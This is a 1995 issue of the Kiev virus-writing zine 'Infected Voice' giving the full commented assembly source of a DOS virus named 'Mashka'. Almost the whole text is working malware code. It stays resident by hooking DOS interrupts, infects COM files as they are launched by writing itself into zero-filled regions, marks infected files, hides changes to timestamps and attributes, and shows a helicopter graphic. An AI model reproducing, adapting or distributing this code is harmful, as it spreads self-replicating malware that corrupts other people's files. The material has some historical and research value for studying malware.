█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█  ▀					    ▀	       ██▀██▀██
█ STEALTH group █░ █ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▀█▀ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ ▄▀▀  ██ ▀▀ ██
█   presents	█░ █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █  ▀█▀▀  █████ ██
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█░ ▐ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄  █████▄██
 ░░░░░░░░░░░░░░░░░						       JAN 1995

 INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
 ===========================================================================


TITLE	 Virus Mashka		; кстати настоящее название !
seg_a segment para 'code'
assume cs:seg_a,ds:seg_a

org 100h

start:
	call $+3	      ;старый добрый call
	pop bx
	push es
	sub bx,3		;начало вируса
	push bx
	mov ax,0e200h	      ;традиционная проверка на наличие в памяти
	int 21h
	cmp al,22h
	jnz res 	      ;если нас нет, значит будем
	jmp short nores       ;мы уже есть
res:
	mov ax,ds
	dec ax
	mov ds,ax					;сегмент MSB
	mov ax,word ptr ds:[3]
	sub ax,(offset virend - offset start)/10h+1+20h ;уменьшаем размер блока
	mov word ptr ds:[3],ax
	mov ax,ds
	inc ax
	mov ds,ax
	mov ax,word ptr ds:[2]				;колво свободной памяти
	sub ax,(offset virend - offset start)/10h+1+20h ;отнимаем размер vir'а
	mov es,ax
	mov word ptr ds:[2],ax
	mov cx,offset virend - offset start
	mov si,bx
	xor di,di
	push cs
	pop ds
	rep movsb	  ; перекачиваем тело в выделенную область es:di
	push es
	pop ds
	mov ax,3521h	 ; ну здесь, надеюсь , вы понимаете , что происходит
	int 21h
	mov word ptr ds:[offset int21e - offset start],bx
	mov word ptr ds:[offset int21e+2 - offset start],es
	mov ax,2521h
	mov dx,offset int21entry - offset start
	int 21h 				  ; перехватываем int 21h
	mov ax,3510h
	int 21h
	mov word ptr ds:[offset int10e - offset start],bx
	mov word ptr ds:[offset int10e+2 - offset start],es
	mov ax,2510h
	mov dx,offset int10entry - offset start
	int 21h 				 ; перехватываем int 10h
						 ; для вертолета
nores:
	; если вирус уже в памяти , то остается только радоваться

	pop bx

	; сейчас будем получать оригинальные байты программы ,
	; вырезанные из начала программы

	mov ax,word ptr cs:[bx + offset real - offset start]
	mov bx,word ptr cs:[bx + offset real - offset start + 2]
	push cs
	pop ds
	mov word ptr cs:[100h],ax  ;соответственно возвращаем их на место
	mov word ptr cs:[102h],bx
	mov ax,100h		   ;адресс для возврата на начало программы
	pop es
	push ax
	ret

real	dw 4cb4h	      ; вот они родимые , оригинальные !
	dw 21cdh

INT21entry:
	cmp ax,0e200h	      ; проверяем собственную функцию,
			      ; которую вирус выполняет чтобы проверить
			      ; свое наличие в памяти
	jnz d01
	mov al,22h
	iret
d01:
	cmp ax,0e233h	     ; секретная функция , возвращающая оригинальные
		     ; адреса прерываний и размер вируса (для возможности лече-
		     ; ния любой версии
	jnz d1
	mov al,22h
	mov bx,cs
	; вот они , эти offset'ы
	mov cx,offset real - offset start
	mov dx,offset int21e - offset start
	mov si,offset int10e - offset start
	iret
d1:
	cmp ah,4bh	  ; как видите , функция 4b - главная причина заражения
	jz in4b
	jmp exitint21	  ; если не 4b , то мы все равно подождем

; Вот сюда обычно попадают , когда делают INT 21h

in4b:
	push ax 	  ; внимание ЮМОР !  Текстовая строка 'PSQR'
	push bx
	push cx
	push dx

	push es
	push ds
	push si
	push di

	push dx
	push ds
	push cs
	pop ds
	mov ax,2524h
	mov dx,offset int24entry - offset start
	int 21h 				;перехват критической ошибки
						;происходит только при запуске,
						;дабы файлы не печатались на
						;принтер , которого нету !
	pop ds
	pop dx

	call cmpnol			;ищем ноль в конце пути с именем
	call cmpcom			;а не COM ли это случайно ?
	jnc pr1 		; АГА ! Значит все-таки  COM !
	jmp exit		; ну не будем заражать, что поделать ...
pr1:
	;сохраняем в переменные сегмент и смещение запускаемого файла

	mov word ptr cs:[offset adname - offset start],dx
	mov word ptr cs:[offset adname - offset start+2],ds
	call catt				;снять атрибуты
	mov ax,3d02h				;открываем файл
	int 21h
	mov bx,ax
	call gettime				;получаем и сохраняем время

			; а этот кусочек здесь конечно зря,
			; но это было давно и неправда
	mov ax,4202h
	xor cx,cx
	xor dx,dx
	int 21h

	push ds
	push cs
	pop ds			; сегмент данных устанавливаем на код вируса

	mov ax,4200h		; здесь конечно было все напутано ,но заметьте,
				; CX:DX все равно нули
	int 21h

	mov ah,3fh
	mov dx,offset virend - offset start
	mov cx,4h
	int 21h 		; читаем начало файла в область за вирусом

	; если заражено , то четвертый байт должен быть 'Q'
	cmp byte ptr ds:[offset virend - offset start + 3],'Q'
	jnz ok2
	pop ds
	jmp closeexit  ; выход с закрытием файла и восстановкой остального
		       ; добра
ok2:
	xor si,si
	mov dx,0 - 200h
p2:
	;следующий фрагмент считывает в память последовательно весь файл
	;по 200h и сканирует на определенное количество нулей (а именно 777),

	mov ax,4200h
	add dx,200h
	xor cx,cx
	int 21h
	push ax
	mov ah,3fh
	mov dx,offset virend - offset start
	mov cx,200h
	int 21h
	cmp ax,0
	jnz d3
	pop dx	   ; файл закончился
	jmp d2
d3:
	cmp ax,200h
	jz ok4
	add ax,offset virend - offset start
	mov di,ax
	mov word ptr ds:[di],0ffh  ; а это что-то вроде концовочки
ok4:
	call scanspace	  ; сканируем прочитанные 200h
	pop dx
	cmp si,offset virend - offset start
	jc p2		      ; если кол-во нулей меньше чем размер вируса
				; то продолжаем сканирование

	sub di,(offset virend - offset start)
	add dx,di
	sub dx,si
	push dx 		; в DX смещение в файле ,которое указывает на
				; найденную область с нулями
	mov ax,4200h
	xor cx,cx
	xor dx,dx
	int 21h
	mov ah,3fh
	mov cx,4h
	mov dx,offset real - offset start
	int 21h 			    ; читаем реальные байтики прогр.
	mov ax,4200h
	xor cx,cx
	xor dx,dx
	int 21h
	mov si,offset virend - offset start
	mov byte ptr ds:[si],0e9h
	pop dx
	push dx
	sub dx,3
	mov word ptr ds:[si+1],dx	; подготавливаем начальные четыре байта
	mov byte ptr ds:[si+3],'Q'	; а это метка зараженности
	mov ah,40h
	mov cx,4h
	mov dx,offset virend - offset start
	int 21h 				; записываем их
	pop dx			; в DX адрес области с нулями
	xor cx,cx
	mov ax,4200h
	int 21h
	mov ah,40h
	mov cx,offset virend - offset start
	xor dx,dx
	int 21h 				; дописываем туда тело вируса
d2:
	pop ds
closeexit:
	call puttime		; восстанавливаем время
	mov ah,3eh
	int 21h 		; все ! рабочий день кончился !
exit:
	pop di
	pop si
	pop ds
	pop es
	pop dx
	pop cx
	pop bx
	pop ax
exitint21:
	db 0eah
int21e	dw ?
	dw ?
adname	dw ?
	dw ?
int24entry:
	mov ax,0h	; а это ABORT ! Хорошо, что мы не в Италии !
	iret
time	dw ?
	dw ?
;-------------------------------------	поиск нуля в конце пути с именем
cmpnol:
	mov bx,dx
nol:
	inc bx
	cmp byte ptr ds:[bx],0h
	jnz nol
	ret
;------------------------------------- проверка на COM
cmpcom:
	cmp word ptr ds:[bx-2],'MO'
	clc
	jz exitcmpexe
	stc
exitcmpexe:
	ret
;--------------------------------------- получение и установка нормальных
;							атрибутов
catt:
	push ds
	push dx
	mov ax,4300h
	LDS dx,dword ptr cs:[offset adname - offset start]
	int 21h
	and cl,11111110b
	mov ax,4301h
	int 21h
	pop dx
	pop ds
	ret
;--------------------------------------- получение и сохранение времени
gettime:
	mov ax,5700h
	int 21h
	and cl,11100000b
	mov word ptr cs:[offset time - offset start],cx
	mov word ptr cs:[offset time - offset start+2],dx
	ret
;----------------------------------------- возвращение старого времени	;)
puttime:
	mov ax,5701h
	mov cx,word ptr cs:[offset time - offset start]
	mov dx,word ptr cs:[offset time - offset start+2]
	int 21h
	ret
;------------------------------------------ сканирование на нули
scanspace:
	mov di,offset virend - offset start - 1
opsc:
	inc di
	cmp di,(offset virend - offset start) + 200h
	jnc exsc
	mov al,ds:[di]
	cmp al,0
	jnz clscan
	inc si
	jmp opsc
exsc:
	ret
clscan:
	cmp si,offset virend - offset start
	jc ok3
	ret
ok3:
	xor si,si
	jmp opsc

int10entry:
	cmp ax,0005h	; проверка на установление CGA 320x200
	jz svert      ; если таковой, то рисуем пролетающий вертолет
exitint10:
	db 0eah
int10e	dw ?
	dw ?
svert:
	cmp si,22h
	jz exitint10  ; обходим собственные вызовы

		; НУ А ЭТО - ВЕРТОЛЕТ !

vert:
	push ds
	push ax
	push bx
	push cx
	push dx
	push si
	push di
	push bp
	push es

	push cs
	pop ds
	mov ax,0b800h
	mov es,ax
	mov si,22h
	mov ax,5
	int 10h
	mov cx,70
	mov dx,30
bb:
	push cx
	mov cx,6000h
zlp:
	loop zlp
	pop cx

	call bert
	loop bb
	pop es
	pop bp
	pop di
	pop si
	pop dx
	pop cx
	pop bx
	pop ax
	pop ds
	jmp exitint10
;------------------------
bert:
	push dx
	push cx
	push ax
	push si
	push di

	mov ax,dx
	mov bx,80
	mul bx
	add ax,cx
	mov di,ax
	mov bp,0
	mov si,offset berts - offset start
opbert:
	mov cx,6
	push di
	rep movsb
	pop di
	add di,2000h
	inc bp
	cmp bp,12
	je exbert
	mov cx,6
	push di
	rep movsb
	pop di
	sub di,2000h-80
	inc bp
	cmp bp,12
	je exbert
	jmp opbert
exbert:
	pop di
	pop si
	pop ax
	pop cx
	pop dx
	ret
;================================
berts	db 0,0,0,0,0,0		  ; вертолет, или по-украински - хеликоптер
	db 0,0,0,0,0,0
	db 0,0,55h,40h,0,0
	db 0,0,4,0,0,0
	db 0,1,44h,0,0,0
	db 0,15h,55h,0,4,0
	db 0,50h,57h,55h,55h,0
	db 0,15h,75h,55h,4,0
	db 0,5,55h,0,0,0
	db 0,0,10h,0,0,0
	db 0,0,0,0,0,0
	db 0,0,0,0,0,0
;=================================
db '╖ВУр│ЯНШХЯр▀▀р╛Зр╜ОЯЖЗр▀'	  ; зашифрованное послание потомкам
				  ; юзайте NEG.

virend:
seg_a ends
end start

; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
